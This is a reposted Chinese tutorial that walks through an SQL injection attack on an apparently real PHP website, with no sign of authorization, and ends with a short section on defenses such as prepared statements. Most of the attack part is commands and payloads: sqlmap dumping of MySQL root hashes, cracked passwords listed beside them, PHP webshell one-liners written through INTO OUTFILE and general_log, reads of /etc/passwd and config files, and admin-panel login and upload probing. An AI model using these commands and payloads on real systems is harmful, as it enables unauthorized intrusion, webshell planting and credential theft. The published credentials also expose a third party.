使用sqlmap對某php網站進行注入實戰及安全防範

來源:互聯網
上載者:User

標籤:使用sqlmap   php注入   滲透實戰   

使用sqlmap對某php網站進行注入實戰

   一般來講一旦網站存在sql注入漏洞,通過sql注入漏洞輕者可以擷取資料,嚴重的將擷取webshell以及伺服器許可權,但在實際漏洞利用和測試過程中,也可能因為伺服器配置等情況導致無法擷取許可權。

1.1php注入點的發現及掃描

1.使用漏洞掃描工具進行漏洞掃描

    將目標url地址放在wvs中進行漏洞掃描,1所示,掃描結果顯示存在SQL盲注和SQL注入,其漏洞存在的參數為同一頁面。

圖1使用wvs掃描目標網站

2.使用sqlmap工具對注入點進行漏洞驗證

   2所示,使用sqlmap注入檢查命令進行驗證:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34

   驗證結果顯示該url確實存在sql注入漏洞,且資料庫為mysql。

圖2使用sqlmap工具對注入點進行漏洞驗證

1.2使用sqlmap進行sql注入測試

1.sql注入payload

   3所示,通過sqlmap或者該注入點存在boolean-based blind、 AND/OR time-based blind 、UNION query三種類型漏洞,跟wvs掃描結果一致。sqlmap漏洞測試完畢後會自動給出相應的payload,例如對第一個可以在瀏覽器中進行測試:http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34%20AND%202952=2952

圖3 sql注入payload

2.擷取當前資料庫名稱

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-db擷取當前資料庫為xbase,4所示。

圖4擷取當前資料庫名稱

3.擷取目前使用者

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-user命令直接擷取當前資料庫帳號為[email protected],5所示。

圖5擷取當前資料庫使用者帳號

4.查看資料庫使用者及密碼

   由於本例注入點是mysql root帳號,因此可以通過sqlmap命令來查看資料庫使用者(--users)及資料庫密碼(--password),6所示,執行命令如下:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --users --password

圖6查看資料庫使用者及密碼

5.破解並擷取資料庫純文字密碼

(1)線上破解並整理資料庫密碼

   將密碼雜湊值去掉前面的“*”號,將其複製到www.cmd5.com及somd5.com進行破解,注意該值需要選擇密碼類型mysql5,整理查詢結果如下所示:

root,127.0.0.1,10265996C62D6B0481DB263D7D3AB3B088092EA4

root,zjweb.***.com.cn,1A1AB09EB2AF0018D8A2196D4300A46417EB167D hkhxg

root,localhost,21F0CB490C734AE18C25C945E5A95065B3FE8858 localhost

root,%,9427205DF4B13AF3CFDF9D5A4193C1B143492BA3 asphxg

(2)還可以通過--sql-shell直接查詢資料庫使用者及密碼

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --sql-shell

   執行上面命令後,通過查詢命令來擷取密碼,7所示:

   select host,user,password from mysql.user

圖7查詢mysql資料庫host、user及密碼

(3)對伺服器連接埠進行掃描

masscan -p 3306 114.**.***.***

如果開放資料庫連接埠,則可以直接進行串連,掃描結果顯示僅僅開放80連接埠。

6.一些常用的sqlmap命令總結

(1)查看所有資料庫

sqlmap.py -u url --dbs

(2)查看某個資料庫下所有表

sqlmap.py -u url -D databasename --table

(3)擷取列

sqlmap.py -u url -D mysql -T user --column

(4)匯出資料

sqlmap.py -u url -D mysql -T user --dump

(5)資料庫中表詳細記錄統計

sqlmap.py -u url -D mysql --count

(6)通過sql-shell來執行查詢命令

sqlmap.py -u url --sql-shell

1.3php網站webshell擷取

1.php+mysql網站webshell擷取思路

(1)通過phpmyadmin登入執行匯出擷取

select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'D:/work/www/a.php'

(2)general_log設定檔擷取

show global variables like "%genera%";

set global general_log=off;

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

(3)sqlmap os-shell擷取

sqlmap -u url --os-shell

(4)後台檔案上傳漏洞利用及擷取

   通過注入點擷取管理員密碼及後台地址,登入後台尋找上傳地址及上傳漏洞來擷取webshell。

(5)檔案包含漏洞來擷取webshell

2.直接擷取webshell失敗

   對於root帳號而言,一般情況都可以通過--os-shell命令來擷取webshell,8所示,執行命令後,並未擷取shell。

圖8擷取shell失敗

3.擷取真實實體路徑

   通過測試,在網站根目錄下發現存在phpinfo頁面,9所示,在該頁面中可以看到資料庫為內網IP地址192.168.77.88,真實實體路徑為/usr/local/apache/htdocs

圖9擷取網站正式路徑

4.寫入檔案測試

   知道實體路徑,可以通過sqlmap進行檔案讀取和寫入命令,執行命令:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-write="C:\tools\sqlmap\1.php"  --file-dest="/usr/local/apache/htdocs/happystudy/shell.php"

   10所示,sqlmap執行命令成功,通過url對檔案進行訪問測試,頁面不存在。

圖10寫入檔案測試

5.本地搭建環境測試寫入檔案

   前面寫入檔案執行成功,懷疑是命令有問題,因此在本地搭建環境進行測試,測試命令為:

   sqlmap.py -d mysql://root:[email protected]:3306/mysql  --file-write="C:\tools\sqlmap\1.php"  --file-dest="C:\ComsenzEXP\wwwroot\shell.php"

   結果在C:\ComsenzEXP\wwwroot\目錄下成功寫入shell.php檔案,為此分析原因可能為:

(1)該目錄無寫入許可權

(2)magic_quotes_gpc值為on

6.嘗試general_log檔案擷取webshell方法

(1)查看genera檔案配置情況

show global variables like "%genera%";

(2)關閉general_log

set global general_log=off;

(3)通過general_log選項來擷取webshell

set global general_log='on';

SET global general_log_file='/usr/local/apache/htdocs/shell.php';

SELECT '<?php assert($_POST["cmd"]);?>';

   由於以上命令需要在mysql用戶端命令列或者phpmyadmin中進行執行,本案例中不具備,通過--sql-shell以及--sql-query命令均未能實現。

7.使用pangolin工具進行匯出webshell

   11所示,通過pangolin對該sql注入地址進行測試,嘗試將webshell匯出到網站根目錄/usr/local/apache/htdocs/xxx.php檔案,結果顯示跟前面的分析情況一致。

圖11使用pangolin工具進行匯出webshell失敗

8.讀取檔案測試

(1)讀取檔案

   12所示,依次執行命令,分別讀取/etc/passwd、/usr/local/apache/htdocs/index.php等檔案

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/usr/local/apache/htdocs/index.php"

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/etc/passwd" 

圖12讀取系統檔案及其他檔案

(2)擷取資料庫密碼

sqlmap會將擷取的檔案自動儲存到當前系統使用者下C:\Users\john\.sqlmap\output\www.****.com.cn\files,13所示,讀取conn.php檔案的內容,成功擷取資料庫root帳號密碼。

圖13讀取原始碼擷取root密碼

1.4艱難的後台地址擷取

1.使用havij對後台進行掃描

   14所示,通過havij等工具對目標後台地址進行擷取,在本例中擷取的是普通使用者的登入地址,未擷取真正的後台地址。

圖14使用havij對後台地址進行掃描

2.通過google成功擷取後台地址

   後面使用百度對該url地址進行查詢“site:somesite.com 後台管理”未能擷取相關資訊,但在google中成功擷取其後台地址,15所示。有時候google駭客技術還是挺管用的。從url中可以看到該管理地址很難掃描擷取。

圖15成功擷取後台管理地址

3.擷取真正的管理表

   通過sqlmap對該資料庫中所有的表進行查詢,發現存在多個涉及密碼的表,admin、admin_files、admin_groups、tb_admin,依次進行和密碼破解,將其進行後台登陸,均為成功登入。後面通過讀取登入地址的原始碼成功擷取,其真正的管理員表為tygb,16所示,通過sql-shell進行查詢:select * from tygb

圖16擷取真正的管理表

4.登入後台管理

   17所示,登入成功後,可以看到其cms系統存在多個系統,對每個管理入口進行查看和測試,雖然某些模組存在上傳,經過測試,無寫入許可權。

圖17登入後台進行管理

5.fckeditor漏洞驗證

   在後台中發現其使用了fckeditor編輯器,成功找到其fckeditor編輯器檔案測試頁面,並對其進行測試,18,有無檔案許可權問題,該漏洞無法利用。

http://www.***.com.cn/mes/news/fckeditor/editor/filemanager/connectors/uploadtest.html

圖18檔案上傳漏洞無法利用

6.網站旁註漏洞利用失敗

    後面對該目標網站進行同IP地址網域名稱反查,發現該IP下存在多個網域名稱,通過仔細的核對,發現前面的sql注入點可以讀取其資料庫,通過擷取後台密碼,成功進入後台,但也無用,系統存在錯誤,fckeditor無法上傳檔案,也無法寫入檔案。

1.5php網站sql注入防禦及總結

1.滲透總結

(1)本次滲透主要在於對mysql+php架構下sql注入點注入漏洞sqlmap的利用

(2)利用sqlmap的檔案讀取和寫入功能寫入webshell

(3)有些情況下即使存在漏洞,也可能無法擷取webshell

2.php網站sql注入防禦

(1)過濾一些常見的資料庫操作關鍵字,例如對select ,insert,update,delete,and,*等或通過系統函數addslashes對內容進行過濾。

(2)php設定檔php.ini中register_globals=off;設定為關閉狀態

(3)對於sql語句加以封裝,避免直接暴漏SQL語句,使用prepared statements(預先處理語句)和參數化的查詢。這些SQL語句被發送到資料庫伺服器,它的參數全都會被單獨解析。使用PDO和Mysqli,攻擊者想注入惡意的SQL是不可能的。

//使用PDO

$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'); 

  $stmt->execute(array(':name' => $name)); 

foreach ($stmt as $row) { 

    // do something with $row 

}

//使用Mysqli

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); 

$stmt->bind_param('s', $name); 

$stmt->execute(); 

$result = $stmt->get_result(); 

while ($row = $result->fetch_assoc()) { 

    // do something with $row 

}

//PDO建立一個串連樣本

$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass'); 

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 

$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

(4)開啟PHP安全模式safe_mode=on

(5)開啟magic_quotes_gpc來防止SQL注入,預設為關閉,開啟後自動把使用者提交sql查詢語句進行轉換把"'"轉換成"\'"

(6)控制錯誤資訊輸出,關閉錯誤資訊提示,將錯誤資訊寫到系統日誌。

(7)網站安裝waf防護軟體

參考文章:

http://johan.viekee.com/?p=174

更多精彩內容,歡迎查看並訂閱sqlmap攻防實戰專欄

使用sqlmap對某php網站進行注入實戰及安全防範

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.